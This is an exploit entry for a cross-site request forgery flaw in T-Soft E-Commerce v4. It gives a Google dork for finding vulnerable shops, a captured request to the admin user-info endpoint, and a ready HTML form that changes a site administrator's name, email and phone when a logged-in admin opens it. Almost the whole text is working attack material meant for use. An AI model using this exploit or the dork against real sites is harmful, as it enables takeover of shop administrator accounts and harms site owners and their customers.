# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF)
# Exploit Author: Alperen Ergel
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux (2021.4) / xammp
# Category: WebApp
# Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'"
# Date: 2021-08-15
######## Description ########
#
# Attacker can change admin informaiton
#
#
######## Proof of Concept ########
POST /srv/service/admin/updateuserinfo HTTP/1.1
Host: localhost
Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: http://localhost
Referer: http://localhost/Y/
Te: trailers
Connection: close
firstName=Victim&lastName=victim&email=victim%40mail.com&phone=12584368595
####### EXPLOIT ##################
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="victimsite.com/srv/service/admin/updateuserinfo" method="POST">
<input type="hidden" name="firstName" value="[CHANGEHERE]" />
<input type="hidden" name="lastName" value="[CHANGEHERE]" />
<input type="hidden" name="email" value="[CHANGEHERE]" />
<input type="hidden" name="phone" value="[CHANGEHERE]" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
